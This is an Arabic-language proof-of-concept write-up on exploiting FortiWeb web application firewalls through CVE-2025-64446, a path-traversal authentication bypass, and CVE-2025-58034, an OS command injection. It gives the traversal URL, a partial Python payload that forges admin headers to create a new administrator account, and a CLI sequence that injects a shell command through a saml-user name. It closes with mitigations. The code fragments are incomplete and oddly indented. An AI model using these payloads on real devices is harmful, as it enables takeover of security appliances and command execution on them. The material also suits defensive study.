محاكاة استغلال FortiWeb (CVE-2025-64446 & CVE-2025-58034)

ملاحظة:

• هذا المستند مخصص لأغراض التعلم والبحث الأمني فقط.
• لا تستخدمه لمهاجمة الأنظمة دون إذن.

1. نظرة عامة

FortiWeb هو جهاز جدار حماية تطبيقات الويب (WAF) يستخدم لحماية تطبيقات الويب.

في عام 2025، تم اكتشاف ثغرتين خطيرتين:

• CVE-2025-64446 – تجاوز المصادقة عبر اجتياز المسار (Path Traversal)
• CVE-2025-58034 – حقن أوامر نظام التشغيل (OS Command Injection)

2. نظرة عامة على CVE-2025-64446

مثال:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. نظرة عامة على CVE-2025-58034

4. عملية التجربة (POC)

4.1. إعداد البيئة:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

يساعد هذا في تجنب تعارض إصدارات المكتبات، وضمان استقرار بيئة العمل، وتقليل التأثير على النظام

4.2 الاستغلال

الحمولة (Payload)

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

تشغيل الأداة باستخدام Python3:

python3 exploit.py <IP_target>

• <IP_target>: عنوان IP هنا هو اسم مضيف جهاز FortiWeb.

الحصول على اسم المستخدم وكلمة المرور -> ثم تسجيل الدخول

تم الاستغلال بنجاح وإنشاء حساب جديد بصلاحيات المسؤول.

4.3 استغلال CVE-2025-58034 بعد تسجيل الدخول بالحساب

بعد تسجيل الدخول بنجاح باستخدام حساب المسؤول المنشأ حديثاً، يمكن للمهاجم استغلال ثغرة حقن الأوامر الموثقة من خلال طلبات مصممة خصيصاً أو مباشرة عبر واجهة سطر الأوامر (CLI) الخاصة بـ FortiWeb:

config user saml-user

edit "`id`" ## أدخل الأمر هنا

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

سيخرج FortiWeb من سلسلة التكوين وينفذ الأمر id أثناء تكوين saml-user.

5. بعض طرق تخفيف الثغرات

• تحديث FortiWeb إلى الإصدار المصحح.
• تقييد الوصول إلى واجهة الإدارة.
• عدم تعريض واجهة الإدارة للإنترنت.
• التحقق من وجود حسابات مسؤول غير طبيعية.

6. مراجع إضافية

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034